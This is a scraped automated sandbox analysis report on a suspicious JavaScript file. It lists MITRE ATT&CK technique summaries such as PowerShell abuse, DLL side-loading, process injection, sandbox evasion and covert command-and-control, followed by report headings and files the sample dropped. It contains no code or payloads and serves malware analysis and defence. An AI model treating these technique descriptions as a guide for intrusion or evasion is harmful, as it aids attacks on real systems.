Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 30562134305434372.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a7adb3ed-5b1b-4d96-8bf1-3e5936ebb3f1.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8100

Windows Analysis Report
30562134305434372.js